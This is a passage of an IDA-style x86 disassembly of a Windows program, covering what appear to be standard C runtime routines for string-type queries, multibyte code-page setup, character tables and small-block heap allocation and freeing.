		jnz	short loc_40378B
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_405424
		push	esi
		call	dword_405070	; GetStringTypeW
		test	eax, eax
		jz	short loc_403769
		mov	eax, esi
		jmp	short loc_403786
; ---------------------------------------------------------------------------


loc_403769:				; CODE XREF: sub_40371C+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_406F38
		push	esi
		push	ebx
		call	dword_405074	; GetStringTypeA
		test	eax, eax
		jz	loc_403851
		push	2
		pop	eax


loc_403786:				; CODE XREF: sub_40371C+4Bj
		mov	dword_4070A8, eax


loc_40378B:				; CODE XREF: sub_40371C+2Fj
		cmp	eax, 2
		jnz	short loc_4037B4
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_40379C
		mov	eax, dword_4070C4


loc_40379C:				; CODE XREF: sub_40371C+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword_405074	; GetStringTypeA
		jmp	loc_403853
; ---------------------------------------------------------------------------


loc_4037B4:				; CODE XREF: sub_40371C+72j
		cmp	eax, 1
		jnz	loc_403851
		cmp	[ebp+arg_10], ebx
		jnz	short loc_4037CA
		mov	eax, dword_4070D4
		mov	[ebp+arg_10], eax


loc_4037CA:				; CODE XREF: sub_40371C+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	dword_405078	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_403851
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_4025D0
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_4021B0
		add	esp, 0Ch
		jmp	short loc_403820
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_403820:				; CODE XREF: sub_40371C+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_403851
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	dword_405078	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_403851
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_405070	; GetStringTypeW
		jmp	short loc_403853
; ---------------------------------------------------------------------------


loc_403851:				; CODE XREF: sub_40371C+61j
					; sub_40371C+9Bj ...
		xor	eax, eax


loc_403853:				; CODE XREF: sub_40371C+93j
					; sub_40371C+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40371C	endp


; =============== S U B	R O U T	I N E =======================================



sub_403865	proc near		; CODE XREF: sub_402D47+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_403876
		add	esp, 0Ch
		retn
sub_403865	endp


; =============== S U B	R O U T	I N E =======================================



sub_403876	proc near		; CODE XREF: sub_403865+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_407221[eax], cl
		jnz	short loc_4038A3
		cmp	[esp+arg_4], 0
		jz	short loc_40389C
		movzx	eax, word_406AEA[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_40389E
; ---------------------------------------------------------------------------


loc_40389C:				; CODE XREF: sub_403876+16j
		xor	eax, eax


loc_40389E:				; CODE XREF: sub_403876+24j
		test	eax, eax
		jnz	short loc_4038A3
		retn
; ---------------------------------------------------------------------------


loc_4038A3:				; CODE XREF: sub_403876+Fj
					; sub_403876+2Aj
		push	1
		pop	eax
		retn
sub_403876	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4038A7	proc near		; CODE XREF: sub_403C6B+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_403A40	; GetOEMCP
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_407100
		mov	[ebp+arg_0], esi
		jz	loc_403A34
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_403A2A
		xor	edx, edx
		mov	eax, offset dword_406E38


loc_4038DB:				; CODE XREF: sub_4038A7+41j
		cmp	[eax], esi
		jz	short loc_403951
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_406F28
		jl	short loc_4038DB
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_40506C	; GetCPInfo
		cmp	eax, 1
		jnz	loc_403A22
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_407220
		cmp	[ebp+var_18], 1
		mov	dword_407100, esi
		rep stosd
		stosb
		mov	dword_407324, ebx
		jbe	loc_403A10
		cmp	[ebp+var_12], 0
		jz	loc_4039E6
		lea	ecx, [ebp+var_11]


loc_40392E:				; CODE XREF: sub_4038A7+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_4039E6
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_40393F:				; CODE XREF: sub_4038A7+A8j
		cmp	eax, edx
		ja	loc_4039DA
		or	byte_407221[eax], 4
		inc	eax
		jmp	short loc_40393F
; ---------------------------------------------------------------------------


loc_403951:				; CODE XREF: sub_4038A7+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_407220
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_406E48[esi]


loc_40396D:				; CODE XREF: sub_4038A7+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_4039A0


loc_403974:				; CODE XREF: sub_4038A7+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_4039A0
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_403999
		mov	edx, [ebp+var_4]
		mov	dl, byte_406E30[edx]


loc_40398E:				; CODE XREF: sub_4038A7+F0j
		or	byte_407221[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_40398E


loc_403999:				; CODE XREF: sub_4038A7+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_403974


loc_4039A0:				; CODE XREF: sub_4038A7+CBj
					; sub_4038A7+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_40396D
		mov	eax, [ebp+arg_0]
		mov	dword_40711C, 1
		push	eax
		mov	dword_407100, eax
		call	sub_403A8A
		lea	esi, dword_406E3C[esi]
		mov	edi, offset dword_407110
		movsd
		movsd
		pop	ecx
		mov	dword_407324, eax
		movsd
		jmp	short loc_403A2F
; ---------------------------------------------------------------------------


loc_4039DA:				; CODE XREF: sub_4038A7+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_40392E


loc_4039E6:				; CODE XREF: sub_4038A7+7Ej
					; sub_4038A7+8Bj
		push	1
		pop	eax


loc_4039E9:				; CODE XREF: sub_4038A7+14Fj
		or	byte_407221[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_4039E9
		push	esi
		call	sub_403A8A
		pop	ecx
		mov	dword_407324, eax
		mov	dword_40711C, 1
		jmp	short loc_403A16
; ---------------------------------------------------------------------------


loc_403A10:				; CODE XREF: sub_4038A7+74j
		mov	dword_40711C, ebx


loc_403A16:				; CODE XREF: sub_4038A7+167j
		xor	eax, eax
		mov	edi, offset dword_407110
		stosd
		stosd
		stosd
		jmp	short loc_403A2F
; ---------------------------------------------------------------------------


loc_403A22:				; CODE XREF: sub_4038A7+51j
		cmp	dword_4070AC, ebx
		jz	short loc_403A38


loc_403A2A:				; CODE XREF: sub_4038A7+27j
		call	sub_403ABD


loc_403A2F:				; CODE XREF: sub_4038A7+131j
					; sub_4038A7+179j
		call	sub_403AE6


loc_403A34:				; CODE XREF: sub_4038A7+1Dj
		xor	eax, eax
		jmp	short loc_403A3B
; ---------------------------------------------------------------------------


loc_403A38:				; CODE XREF: sub_4038A7+181j
		or	eax, 0FFFFFFFFh


loc_403A3B:				; CODE XREF: sub_4038A7+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4038A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A40	proc near		; CODE XREF: sub_4038A7+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4070AC, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_403A60
		mov	dword_4070AC, 1
		jmp	dword_405064
; ---------------------------------------------------------------------------


loc_403A60:				; CODE XREF: sub_403A40+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_403A75
		mov	dword_4070AC, 1
		jmp	dword_405068
; ---------------------------------------------------------------------------


loc_403A75:				; CODE XREF: sub_403A40+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_403A89
		mov	eax, dword_4070D4
		mov	dword_4070AC, 1

locret_403A89:				; CODE XREF: sub_403A40+38j
		retn
sub_403A40	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A8A	proc near		; CODE XREF: sub_4038A7+118p
					; sub_4038A7+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_403AB7
		sub	eax, 4
		jz	short loc_403AB1
		sub	eax, 0Dh
		jz	short loc_403AAB
		dec	eax
		jz	short loc_403AA5
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_403AA5:				; CODE XREF: sub_403A8A+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_403AAB:				; CODE XREF: sub_403A8A+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_403AB1:				; CODE XREF: sub_403A8A+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_403AB7:				; CODE XREF: sub_403A8A+9j
		mov	eax, 411h
		retn
sub_403A8A	endp


; =============== S U B	R O U T	I N E =======================================



sub_403ABD	proc near		; CODE XREF: sub_4038A7:loc_403A2Ap
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_407220
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_407110
		mov	dword_407100, eax
		mov	dword_40711C, eax
		mov	dword_407324, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_403ABD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403AE6	proc near		; CODE XREF: sub_4038A7:loc_403A2Fp

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_407100
		call	dword_40506C	; GetCPInfo
		cmp	eax, 1
		jnz	loc_403C1F
		xor	eax, eax
		mov	esi, 100h


loc_403B10:				; CODE XREF: sub_403AE6+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_403B10
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_403B61
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_403B2F:				; CODE XREF: sub_403AE6+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_403B56
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_403B56:				; CODE XREF: sub_403AE6+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_403B2F
		pop	edi
		pop	ebx


loc_403B61:				; CODE XREF: sub_403AE6+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_407324
		push	dword_407100
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_40371C
		push	0
		lea	eax, [ebp+var_214]
		push	dword_407100
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_407324
		call	sub_4046FE
		push	0
		lea	eax, [ebp+var_314]
		push	dword_407100
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_407324
		call	sub_4046FE
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_403BDC:				; CODE XREF: sub_403AE6+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_403BFA
		or	byte_407221[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_403BF2:				; CODE XREF: sub_403AE6+127j
		mov	byte_407120[eax], dl
		jmp	short loc_403C16
; ---------------------------------------------------------------------------


loc_403BFA:				; CODE XREF: sub_403AE6+FCj
		test	dl, 2
		jz	short loc_403C0F
		or	byte_407221[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_403BF2
; ---------------------------------------------------------------------------


loc_403C0F:				; CODE XREF: sub_403AE6+117j
		and	byte_407120[eax], 0


loc_403C16:				; CODE XREF: sub_403AE6+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_403BDC
		jmp	short loc_403C68
; ---------------------------------------------------------------------------


loc_403C1F:				; CODE XREF: sub_403AE6+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_403C26:				; CODE XREF: sub_403AE6+180j
		cmp	eax, 41h
		jb	short loc_403C44
		cmp	eax, 5Ah
		ja	short loc_403C44
		or	byte_407221[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_403C3C:				; CODE XREF: sub_403AE6+174j
		mov	byte_407120[eax], cl
		jmp	short loc_403C63
; ---------------------------------------------------------------------------


loc_403C44:				; CODE XREF: sub_403AE6+143j
					; sub_403AE6+148j
		cmp	eax, 61h
		jb	short loc_403C5C
		cmp	eax, 7Ah
		ja	short loc_403C5C
		or	byte_407221[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_403C3C
; ---------------------------------------------------------------------------


loc_403C5C:				; CODE XREF: sub_403AE6+161j
					; sub_403AE6+166j
		and	byte_407120[eax], 0


loc_403C63:				; CODE XREF: sub_403AE6+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_403C26


loc_403C68:				; CODE XREF: sub_403AE6+137j
		pop	esi
		leave
		retn
sub_403AE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_403C6B	proc near		; CODE XREF: sub_402D47+9p
					; sub_402D9F+Dp ...
		cmp	dword_407448, 0
		jnz	short locret_403C86
		push	0FFFFFFFDh
		call	sub_4038A7
		pop	ecx
		mov	dword_407448, 1

locret_403C86:				; CODE XREF: sub_403C6B+7j
		retn
sub_403C6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_403C87	proc near		; CODE XREF: sub_402D9F+9Dp
					; sub_4030A5+BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_403CB4
		push	esi
		call	sub_403D68
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_403CA6
		push	eax
		call	sub_403D93
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_403CA6:				; CODE XREF: sub_403C87+13j
		push	0
		push	dword_407328
		call	dword_405084	; RtlFreeHeap


loc_403CB4:				; CODE XREF: sub_403C87+7j
		pop	esi
		retn
sub_403C87	endp


; =============== S U B	R O U T	I N E =======================================



sub_403CB6	proc near		; CODE XREF: sub_402D9F+3Ap
					; sub_402D9F+6Fp ...

arg_0		= dword	ptr  4

		push	dword_4070E0
		push	[esp+4+arg_0]
		call	sub_403CC8
		pop	ecx
		pop	ecx
		retn
sub_403CB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_403CC8	proc near		; CODE XREF: sub_403CB6+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_403CF1


loc_403CCF:				; CODE XREF: sub_403CC8+27j
		push	[esp+arg_0]
		call	sub_403CF4
		test	eax, eax
		pop	ecx
		jnz	short locret_403CF3
		cmp	[esp+arg_4], eax
		jz	short locret_403CF3
		push	[esp+arg_0]
		call	sub_40494D
		test	eax, eax
		pop	ecx
		jnz	short loc_403CCF


loc_403CF1:				; CODE XREF: sub_403CC8+5j
		xor	eax, eax

locret_403CF3:				; CODE XREF: sub_403CC8+13j
					; sub_403CC8+19j
		retn
sub_403CC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_403CF4	proc near		; CODE XREF: sub_403CC8+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, dword_406F28
		ja	short loc_403D0C
		push	esi
		call	sub_4040BE
		test	eax, eax
		pop	ecx
		jnz	short loc_403D28


loc_403D0C:				; CODE XREF: sub_403CF4+Bj
		test	esi, esi
		jnz	short loc_403D13
		push	1
		pop	esi


loc_403D13:				; CODE XREF: sub_403CF4+1Aj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_407328
		call	dword_405060	; RtlAllocateHeap


loc_403D28:				; CODE XREF: sub_403CF4+16j
		pop	esi
		retn
sub_403CF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_403D2A	proc near		; CODE XREF: sub_403382+20p
		push	140h
		push	0
		push	dword_407328
		call	dword_405060	; RtlAllocateHeap
		test	eax, eax
		mov	dword_4070FC, eax
		jnz	short loc_403D47
		retn
; ---------------------------------------------------------------------------


loc_403D47:				; CODE XREF: sub_403D2A+1Aj
		and	dword_4070F4, 0
		and	dword_4070F8, 0
		push	1
		mov	dword_4070F0, eax
		mov	dword_4070E8, 10h
		pop	eax
		retn
sub_403D2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_403D68	proc near		; CODE XREF: sub_403C87+Ap

arg_0		= dword	ptr  4

		mov	eax, dword_4070F8
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4070FC
		lea	ecx, [eax+ecx*4]


loc_403D78:				; CODE XREF: sub_403D68+26j
		cmp	eax, ecx
		jnb	short loc_403D90
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_403D92
		add	eax, 14h
		jmp	short loc_403D78
; ---------------------------------------------------------------------------


loc_403D90:				; CODE XREF: sub_403D68+12j
		xor	eax, eax

locret_403D92:				; CODE XREF: sub_403D68+21j
		retn
sub_403D68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403D93	proc near		; CODE XREF: sub_403C87+16p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	eax, [ecx+10h]
		mov	esi, edx
		sub	esi, [ecx+0Ch]
		mov	ebx, [edx-4]
		add	edx, 0FFFFFFFCh
		push	edi
		shr	esi, 0Fh
		mov	ecx, esi
		mov	edi, [edx-4]
		imul	ecx, 204h
		dec	ebx
		mov	[ebp+var_4], edi
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebx+edx]
		test	cl, 1
		mov	[ebp+var_8], ecx
		jnz	short loc_403E59
		sar	ecx, 4
		push	3Fh
		dec	ecx
		pop	edi
		mov	[ebp+arg_4], ecx
		cmp	ecx, edi
		jbe	short loc_403DEB
		mov	[ebp+arg_4], edi


loc_403DEB:				; CODE XREF: sub_403D93+53j
		mov	ecx, [ebx+edx+4]
		cmp	ecx, [ebx+edx+8]
		jnz	short loc_403E3D
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_403E19
		mov	edi, 80000000h
		shr	edi, cl
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+44h], edi
		dec	byte ptr [ecx]
		jnz	short loc_403E3D
		mov	ecx, [ebp+arg_0]
		and	[ecx], edi
		jmp	short loc_403E3D
; ---------------------------------------------------------------------------


loc_403E19:				; CODE XREF: sub_403D93+68j
		add	ecx, 0FFFFFFE0h
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+0C4h], edi
		dec	byte ptr [ecx]
		jnz	short loc_403E3D
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edi


loc_403E3D:				; CODE XREF: sub_403D93+60j
					; sub_403D93+7Dj ...
		mov	ecx, [ebx+edx+8]
		mov	edi, [ebx+edx+4]
		mov	[ecx+4], edi
		mov	ecx, [ebx+edx+4]
		mov	edi, [ebx+edx+8]
		add	ebx, [ebp+var_8]
		mov	[ecx+8], edi
		mov	[ebp+var_C], ebx


loc_403E59:				; CODE XREF: sub_403D93+45j
		mov	edi, ebx
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		jbe	short loc_403E67
		push	3Fh
		pop	edi


loc_403E67:				; CODE XREF: sub_403D93+CFj
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		mov	[ebp+var_14], ecx
		jnz	loc_403F16
		sub	edx, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		push	3Fh
		mov	[ebp+var_8], edx
		dec	ecx
		pop	edx
		cmp	ecx, edx
		mov	[ebp+arg_4], ecx
		jbe	short loc_403E92
		mov	[ebp+arg_4], edx
		mov	ecx, edx


loc_403E92:				; CODE XREF: sub_403D93+F8j
		add	ebx, [ebp+var_4]
		mov	edi, ebx
		mov	[ebp+var_C], ebx
		sar	edi, 4
		dec	edi
		cmp	edi, edx
		jbe	short loc_403EA4
		mov	edi, edx


loc_403EA4:				; CODE XREF: sub_403D93+10Dj
		cmp	ecx, edi
		jz	short loc_403F13
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		cmp	edx, [ecx+8]
		jnz	short loc_403EFB
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_403ED7
		mov	edx, 80000000h
		shr	edx, cl
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+44h], edx
		dec	byte ptr [ecx]
		jnz	short loc_403EFB
		mov	ecx, [ebp+arg_0]
		and	[ecx], edx
		jmp	short loc_403EFB
; ---------------------------------------------------------------------------


loc_403ED7:				; CODE XREF: sub_403D93+126j
		add	ecx, 0FFFFFFE0h
		mov	edx, 80000000h
		shr	edx, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+0C4h], edx
		dec	byte ptr [ecx]
		jnz	short loc_403EFB
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edx


loc_403EFB:				; CODE XREF: sub_403D93+11Ej
					; sub_403D93+13Bj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[edx+8], ecx


loc_403F13:				; CODE XREF: sub_403D93+113j
		mov	edx, [ebp+var_8]


loc_403F16:				; CODE XREF: sub_403D93+DDj
		cmp	[ebp+var_14], 0
		jnz	short loc_403F25
		cmp	[ebp+arg_4], edi
		jz	loc_403FAE


loc_403F25:				; CODE XREF: sub_403D93+187j
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_403FAE
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_403F82
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_403F71
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_403F71:				; CODE XREF: sub_403D93+1CEj
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		lea	eax, [eax+esi*4+44h]
		or	[eax], ebx
		jmp	short loc_403FAB
; ---------------------------------------------------------------------------


loc_403F82:				; CODE XREF: sub_403D93+1C8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_403F98
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_403F98:				; CODE XREF: sub_403D93+1F3j
		lea	ecx, [edi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		lea	eax, [eax+esi*4+0C4h]
		or	[eax], edi


loc_403FAB:				; CODE XREF: sub_403D93+1EDj
		mov	ebx, [ebp+var_C]


loc_403FAE:				; CODE XREF: sub_403D93+18Cj
					; sub_403D93+1B6j
		mov	eax, [ebp+var_10]
		mov	[edx], ebx
		mov	[ebx+edx-4], ebx
		dec	dword ptr [eax]
		jnz	loc_4040B9
		mov	eax, dword_4070F4
		test	eax, eax
		jz	loc_4040AB
		mov	ecx, dword_4070EC
		mov	edi, dword_405088
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	edi	; VirtualFree
		mov	ecx, dword_4070EC
		mov	eax, dword_4070F4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4070F4
		mov	ecx, dword_4070EC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4070F4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4070F4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_404039
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4070F4


loc_404039:				; CODE XREF: sub_403D93+29Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_4040AB
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	edi	; VirtualFree
		mov	eax, dword_4070F4
		push	dword ptr [eax+10h]
		push	0
		push	dword_407328
		call	dword_405084	; RtlFreeHeap
		mov	eax, dword_4070F8
		mov	edx, dword_4070FC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4070F4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_404970
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4070F8
		cmp	eax, dword_4070F4
		jbe	short loc_40409D
		sub	eax, 14h


loc_40409D:				; CODE XREF: sub_403D93+305j
		mov	ecx, dword_4070FC
		mov	dword_4070F0, ecx
		jmp	short loc_4040AE
; ---------------------------------------------------------------------------


loc_4040AB:				; CODE XREF: sub_403D93+233j
					; sub_403D93+2AAj
		mov	eax, [ebp+arg_0]


loc_4040AE:				; CODE XREF: sub_403D93+316j
		mov	dword_4070F4, eax
		mov	dword_4070EC, esi


loc_4040B9:				; CODE XREF: sub_403D93+226j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403D93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4040BE	proc near		; CODE XREF: sub_403CF4+Ep

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4070F8
		mov	edx, dword_4070FC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_4040FE
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_40410E
; ---------------------------------------------------------------------------


loc_4040FE:				; CODE XREF: sub_4040BE+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


